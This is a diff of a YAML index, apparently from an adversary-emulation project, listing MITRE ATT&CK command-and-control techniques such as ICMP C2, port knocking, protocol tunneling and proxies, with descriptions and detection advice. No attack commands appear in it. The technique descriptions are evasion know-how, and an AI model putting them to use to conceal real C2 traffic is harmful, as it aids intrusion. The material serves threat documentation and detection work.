+          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
+        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Traffic Flow'
+      - 'Network Traffic: Network Traffic Content'
+      x_mitre_version: '2.1'
+      created: '2017-05-31T21:31:10.728Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: command-and-control
-      type: attack-pattern
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1095
-        url: https://attack.mitre.org/techniques/T1095
-      - url: http://en.wikipedia.org/wiki/List_of_network_protocols_%28OSI_model%29
-        description: Wikipedia. (n.d.). List of network protocols (OSI model). Retrieved
-          December 4, 2014.
-        source_name: Wikipedia OSI
-      - source_name: Cisco Synful Knock Evolution
-        url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
-        description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco
-          IOS devices. Retrieved October 19, 2020.
-      - url: http://support.microsoft.com/KB/170292
-        description: Microsoft. (n.d.). Internet Control Message Protocol (ICMP) Basics.
-          Retrieved December 1, 2014.
-        source_name: Microsoft ICMP
-      - source_name: Cisco Blog Legacy Device Attacks
-        url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
-        description: Omar Santos. (2020, October 19). Attackers Continue to Target
-          Legacy Devices. Retrieved October 20, 2020.
-      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
-        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
-          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
-        source_name: University of Birmingham C2
+      x_mitre_network_requirements: true
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b
       description: |-
         Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
 
         ICMP communication between hosts is one example.(Citation: Cisco Synful Knock Evolution)
          Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts; (Citation: Microsoft ICMP) however, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.
-      name: Non-Application Layer Protocol
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b
-      x_mitre_version: '2.1'
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       x_mitre_contributors:
       - Ryan Becwar
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Traffic Flow'
-      - 'Network Traffic: Network Traffic Content'
       x_mitre_detection: "Analyze network traffic for ICMP messages or other protocols
         that contain abnormal data or are not normally seen within or exiting the
         network.(Citation: Cisco Blog Legacy Device Attacks)\n\nAnalyze network data
@@ -72695,13 +74949,12 @@ command-and-control:
         protocol behavior for the port that is being used.(Citation: University of
         Birmingham C2) \n\nMonitor and investigate API calls to functions associated
         with enabling and/or utilizing alternative communication channels."
-      x_mitre_network_requirements: true
       x_mitre_platforms:
       - Windows
       - Linux
       - macOS
       - Network
-      x_mitre_is_subtechnique: false
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       identifier: T1095
     atomic_tests:
     - name: ICMP C2
@@ -72789,12 +75042,20 @@ command-and-control:
         name: powershell
   T1132.002:
     technique:
-      created: '2020-03-14T23:39:50.117Z'
-      modified: '2020-03-14T23:39:50.117Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: command-and-control
       type: attack-pattern
+      modified: '2020-03-14T23:39:50.117Z'
+      name: Non-Standard Encoding
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Traffic Content'
+      x_mitre_version: '1.0'
+      created: '2020-03-14T23:39:50.117Z'
+      x_mitre_permissions_required:
+      - User
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: true
       id: attack-pattern--d467bc38-284b-4a00-96ac-125f447799fc
       description: 'Adversaries may encode data with a non-standard data encoding
         system to make the content of command and control traffic more difficult to
@@ -72804,51 +75065,51 @@ command-and-control:
         data encoding schemes, such as a modified Base64 encoding for the message
         body of an HTTP request.(Citation: Wikipedia Binary-to-text Encoding) (Citation:
         Wikipedia Character Encoding) '
-      name: Non-Standard Encoding
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1132.002
-        url: https://attack.mitre.org/techniques/T1132/002
-      - url: https://en.wikipedia.org/wiki/Binary-to-text_encoding
-        description: Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved
-          March 1, 2017.
-        source_name: Wikipedia Binary-to-text Encoding
-      - url: https://en.wikipedia.org/wiki/Character_encoding
-        description: Wikipedia. (2017, February 19). Character Encoding. Retrieved
-          March 1, 2017.
-        source_name: Wikipedia Character Encoding
-      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
-        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
-          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
-        source_name: University of Birmingham C2
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Traffic Content'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: command-and-control
       x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
         sending significantly more data than it receives from a server). Processes
         utilizing the network that do not normally have network communication or have
         never been seen before are suspicious. Analyze packet contents to detect communications
         that do not follow the expected protocol behavior for the port that is being
         used.(Citation: University of Birmingham C2)'
-      x_mitre_permissions_required:
-      - User
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1132/002
+        external_id: T1132.002
+        source_name: mitre-attack
+      - source_name: Wikipedia Binary-to-text Encoding
+        description: Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved
+          March 1, 2017.
+        url: https://en.wikipedia.org/wiki/Binary-to-text_encoding
+      - source_name: Wikipedia Character Encoding
+        description: Wikipedia. (2017, February 19). Character Encoding. Retrieved
+          March 1, 2017.
+        url: https://en.wikipedia.org/wiki/Character_encoding
+      - source_name: University of Birmingham C2
+        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
+          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
+        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
     atomic_tests: []
   T1571:
     technique:
-      created: '2020-03-14T18:18:32.443Z'
-      modified: '2020-03-26T22:02:25.221Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: command-and-control
       type: attack-pattern
+      modified: '2020-03-26T22:02:25.221Z'
+      name: Non-Standard Port
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Traffic Flow'
+      - 'Network Traffic: Network Connection Creation'
+      - 'Network Traffic: Network Traffic Content'
+      x_mitre_version: '1.0'
+      created: '2020-03-14T18:18:32.443Z'
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: false
       id: attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18
       description: 'Adversaries may communicate using a protocol and port paring that
         are typically not associated. For example, HTTPS over port 8088(Citation:
@@ -72856,43 +75117,35 @@ command-and-control:
         2018) as opposed to the traditional port 443. Adversaries may make changes
         to the standard port used by a protocol to bypass filtering or muddle analysis/parsing
         of network data.'
-      name: Non-Standard Port
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1571
-        url: https://attack.mitre.org/techniques/T1571
-      - source_name: Symantec Elfin Mar 2019
-        url: https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage
-        description: 'Security Response attack Investigation Team. (2019, March 27).
-          Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi
-          Arabia and U.S.. Retrieved April 10, 2019.'
-      - source_name: Fortinet Agent Tesla April 2018
-        url: https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html
-        description: Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware
-          Variant. Retrieved November 5, 2018.
-      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
-        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
-          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
-        source_name: University of Birmingham C2
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Traffic Flow'
-      - 'Network Traffic: Network Connection Creation'
-      - 'Network Traffic: Network Traffic Content'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: command-and-control
       x_mitre_detection: 'Analyze packet contents to detect communications that do
         not follow the expected protocol behavior for the port that is being used.
         Analyze network data for uncommon data flows (e.g., a client sending significantly
         more data than it receives from a server). Processes utilizing the network
         that do not normally have network communication or have never been seen before
         are suspicious.(Citation: University of Birmingham C2)'
-      x_mitre_is_subtechnique: false
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1571
+        external_id: T1571
+        source_name: mitre-attack
+      - url: https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage
+        description: 'Security Response attack Investigation Team. (2019, March 27).
+          Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi
+          Arabia and U.S.. Retrieved April 10, 2019.'
+        source_name: Symantec Elfin Mar 2019
+      - url: https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html
+        description: Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware
+          Variant. Retrieved November 5, 2018.
+        source_name: Fortinet Agent Tesla April 2018
+      - source_name: University of Birmingham C2
+        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
+          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
+        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
       identifier: T1571
     atomic_tests:
     - name: Testing usage of uncommonly used port with PowerShell
@@ -72940,33 +75193,32 @@ command-and-control:
         name: sh
   T1102.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1102.003
-        url: https://attack.mitre.org/techniques/T1102/003
-      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
-        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
-          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
-        source_name: University of Birmingham C2
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: One-Way Communication
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Traffic Flow'
+      - 'Network Traffic: Network Traffic Content'
+      - 'Network Traffic: Network Connection Creation'
+      x_mitre_version: '1.0'
+      modified: '2020-03-26T23:26:10.109Z'
+      created: '2020-03-14T22:45:52.963Z'
+      x_mitre_permissions_required:
+      - User
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--9c99724c-a483-4d60-ad9d-7f004e42e8e8
       description: |-
         Adversaries may use an existing, legitimate external Web service as a means for sending commands to a compromised system without receiving return output over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response.
 
         Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
-      id: attack-pattern--9c99724c-a483-4d60-ad9d-7f004e42e8e8
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: command-and-control
-      modified: '2020-03-26T23:26:10.109Z'
-      created: '2020-03-14T22:45:52.963Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
       x_mitre_detection: 'Host data that can relate unknown or suspicious process
         activity using a network connection is important to supplement any existing
         indicators of compromise based on malware command and control signatures and
@@ -72974,37 +75226,43 @@ command-and-control:
         will require SSL/TLS inspection if data is encrypted. Analyze network data
         for uncommon data flows. User behavior monitoring may help to detect abnormal
         patterns of activity.(Citation: University of Birmingham C2)'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1102/003
+        external_id: T1102.003
+        source_name: mitre-attack
+      - source_name: University of Birmingham C2
+        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
+          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
+        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
+    atomic_tests: []
+  T1205.001:
+    technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Port Knocking
       x_mitre_data_sources:
-      - 'Network Traffic: Network Traffic Flow'
-      - 'Network Traffic: Network Traffic Content'
       - 'Network Traffic: Network Connection Creation'
+      - 'Network Traffic: Network Traffic Flow'
+      x_mitre_version: '1.1'
+      modified: '2020-10-21T01:26:31.804Z'
+      created: '2020-07-01T18:23:25.002Z'
+      x_mitre_permissions_required:
+      - User
       x_mitre_platforms:
       - Linux
       - macOS
       - Windows
-    atomic_tests: []
-  T1205.001:
-    technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1205.001
-        url: https://attack.mitre.org/techniques/T1205/001
-      - url: https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631
-        description: 'Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible
-          backdoor. Retrieved October 13, 2018.'
-        source_name: Hartrell cd00r 2002
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Port Knocking
+      - Network
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--8868cb5b-d575-4a60-acb2-07d37389a2fd
       description: |-
         Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.
 
         This technique has been observed to both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.
 
         The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.
-      id: attack-pattern--8868cb5b-d575-4a60-acb2-07d37389a2fd
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
@@ -73012,37 +75270,33 @@ command-and-control:
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: command-and-control
-      modified: '2020-10-21T01:26:31.804Z'
-      created: '2020-07-01T18:23:25.002Z'
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
       x_mitre_detection: Record network packets sent to and from the system, looking
         for extraneous packets that do not belong to established flows.
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Connection Creation'
-      - 'Network Traffic: Network Traffic Flow'
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      - Network
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1205/001
+        external_id: T1205.001
+        source_name: mitre-attack
+      - source_name: Hartrell cd00r 2002
+        description: 'Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible
+          backdoor. Retrieved October 13, 2018.'
+        url: https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631
     atomic_tests: []
   T1001.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1001.003
-        url: https://attack.mitre.org/techniques/T1001/003
-      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
-        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
-          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
-        source_name: University of Birmingham C2
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
+      modified: '2020-03-15T00:40:27.503Z'
       name: Protocol Impersonation
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Traffic Content'
+      x_mitre_version: '1.0'
+      created: '2020-03-15T00:40:27.503Z'
+      x_mitre_platforms:
+      - Linux
+      - Windows
+      - macOS
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc
       description: "Adversaries may impersonate legitimate protocols or web service
         traffic to disguise command and control activity and thwart analysis efforts.
         By impersonating legitimate protocols or web services, adversaries can make
@@ -73051,49 +75305,44 @@ command-and-control:
         like subsequent traffic is SSL/TLS encrypted, potentially interfering with
         some security tooling, or to make the traffic look like it is related with
         a trusted entity. "
-      id: attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc
-      type: attack-pattern
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: command-and-control
-      modified: '2020-03-15T00:40:27.503Z'
-      created: '2020-03-15T00:40:27.503Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
       x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
         sending significantly more data than it receives from a server). Processes
         utilizing the network that do not normally have network communication or have
         never been seen before are suspicious. Analyze packet contents to detect communications
         that do not follow the expected protocol behavior for the port that is being
         used.(Citation: University of Birmingham C2)'
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Traffic Content'
-      x_mitre_platforms:
-      - Linux
-      - Windows
-      - macOS
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1001/003
+        external_id: T1001.003
+        source_name: mitre-attack
+      - source_name: University of Birmingham C2
+        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
+          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
+        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
     atomic_tests: []
   T1572:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1572
-        url: https://attack.mitre.org/techniques/T1572
-      - source_name: SSH Tunneling
-        url: https://www.ssh.com/ssh/tunneling
-        description: SSH.COM. (n.d.). SSH tunnel. Retrieved March 15, 2020.
-      - source_name: BleepingComp Godlua JUL19
-        url: https://www.bleepingcomputer.com/news/security/new-godlua-malware-evades-traffic-monitoring-via-dns-over-https/
-        description: Gatlan, S. (2019, July 3). New Godlua Malware Evades Traffic
-          Monitoring via DNS over HTTPS. Retrieved March 15, 2020.
-      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
-        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
-          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
-        source_name: University of Birmingham C2
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
+      modified: '2020-03-27T17:15:35.372Z'
       name: Protocol Tunneling
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Traffic Flow'
+      - 'Network Traffic: Network Connection Creation'
+      - 'Network Traffic: Network Traffic Content'
+      x_mitre_version: '1.0'
+      created: '2020-03-15T16:03:39.082Z'
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b
       description: "Adversaries may tunnel network communications to and from a victim
         system within a separate protocol to avoid detection/network filtering and/or
         enable access to otherwise unreachable systems. Tunneling involves explicitly
@@ -73114,15 +75363,11 @@ command-and-control:
         in conjunction with [Proxy](https://attack.mitre.org/techniques/T1090) and/or
         [Protocol Impersonation](https://attack.mitre.org/techniques/T1001/003) to
         further conceal C2 communications and infrastructure. "
-      id: attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b
-      type: attack-pattern
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: command-and-control
-      modified: '2020-03-27T17:15:35.372Z'
-      created: '2020-03-15T16:03:39.082Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: false
       x_mitre_detection: "Monitoring for systems listening and/or establishing external
         connections using ports/protocols commonly associated with tunneling, such
         as SSH (port 22). Also monitor for processes commonly associated with tunneling,
@@ -73134,14 +75379,22 @@ command-and-control:
         expected protocol standards regarding syntax, structure, or any other variable
         adversaries could leverage to conceal data.(Citation: University of Birmingham
         C2)"
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Traffic Flow'
-      - 'Network Traffic: Network Connection Creation'
-      - 'Network Traffic: Network Traffic Content'
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1572
+        external_id: T1572
+        source_name: mitre-attack
+      - url: https://www.ssh.com/ssh/tunneling
+        description: SSH.COM. (n.d.). SSH tunnel. Retrieved March 15, 2020.
+        source_name: SSH Tunneling
+      - url: https://www.bleepingcomputer.com/news/security/new-godlua-malware-evades-traffic-monitoring-via-dns-over-https/
+        description: Gatlan, S. (2019, July 3). New Godlua Malware Evades Traffic
+          Monitoring via DNS over HTTPS. Retrieved March 15, 2020.
+        source_name: BleepingComp Godlua JUL19
+      - source_name: University of Birmingham C2
+        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
+          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
+        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
       identifier: T1572
     atomic_tests:
     - name: DNS over HTTPS Large Query Volume
@@ -73256,110 +75509,110 @@ command-and-control:
         name: powershell
   T1090:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Proxy
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Traffic Flow'
+      - 'Network Traffic: Network Connection Creation'
+      - 'Network Traffic: Network Traffic Content'
+      x_mitre_version: '3.1'
+      modified: '2021-08-30T19:16:11.648Z'
       created: '2017-05-31T21:31:08.479Z'
-      modified: '2020-10-21T17:54:28.531Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: command-and-control
-      type: attack-pattern
-      id: attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Proxy
-      description: |-
-        Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.
-
-        Adversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1090
-        url: https://attack.mitre.org/techniques/T1090
-      - url: http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/
-        description: 'Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools
-          of the Trade. Retrieved December 2, 2015.'
-        source_name: Trend Micro APT Attack Tools
-      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
-        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
-          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
-        source_name: University of Birmingham C2
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      x_mitre_is_subtechnique: false
       x_mitre_platforms:
       - Linux
       - macOS
       - Windows
       - Network
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea
+      description: |-
+        Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.
+
+        Adversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.
+      x_mitre_contributors:
+      - Jon Sheedy
+      - Heather Linn
+      - Walker Johnson
       x_mitre_detection: |-
         Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)
 
         Consider monitoring for traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)).
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Traffic Flow'
-      - 'Network Traffic: Network Connection Creation'
-      - 'Network Traffic: Network Traffic Content'
-      x_mitre_contributors:
-      - Brian Prange
-      - Heather Linn
-      - Walker Johnson
-      x_mitre_version: '3.1'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1090
+        external_id: T1090
+        source_name: mitre-attack
+      - source_name: Trend Micro APT Attack Tools
+        description: 'Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools
+          of the Trade. Retrieved December 2, 2015.'
+        url: http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/
+      - source_name: University of Birmingham C2
+        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
+          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
+        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
     atomic_tests: []
   T1219:
     technique:
-      id: attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
       name: Remote Access Software
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1219
+        external_id: T1219
+        source_name: mitre-attack
+      - source_name: Symantec Living off the Land
+        description: Wueest, C., Anand, H. (2017, July). Living off the land and fileless
+          attack techniques. Retrieved April 10, 2018.
+        url: https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/istr-living-off-the-land-and-fileless-attack-techniques-en.pdf
+      - source_name: CrowdStrike 2015 Global Threat Report
+        description: CrowdStrike Intelligence. (2016). 2015 Global Threat Report.
+          Retrieved April 11, 2018.
+        url: https://go.crowdstrike.com/rs/281-OBQ-266/images/15GlobalThreatReport.pdf
+      - source_name: CrySyS Blog TeamSpy
+        description: CrySyS Lab. (2013, March 20). TeamSpy – Obshie manevri. Ispolzovat’
+          tolko s razreshenija S-a. Retrieved April 11, 2018.
+        url: https://blog.crysys.hu/2013/03/teamspy/
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Network Traffic: Network Traffic Flow'
+      - 'Network Traffic: Network Connection Creation'
+      - 'Network Traffic: Network Traffic Content'
+      x_mitre_version: '2.0'
+      modified: '2020-06-20T20:42:37.320Z'
+      created: '2018-04-18T17:59:24.739Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: command-and-control
+      id: attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7
+      x_mitre_network_requirements: true
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
       description: |-
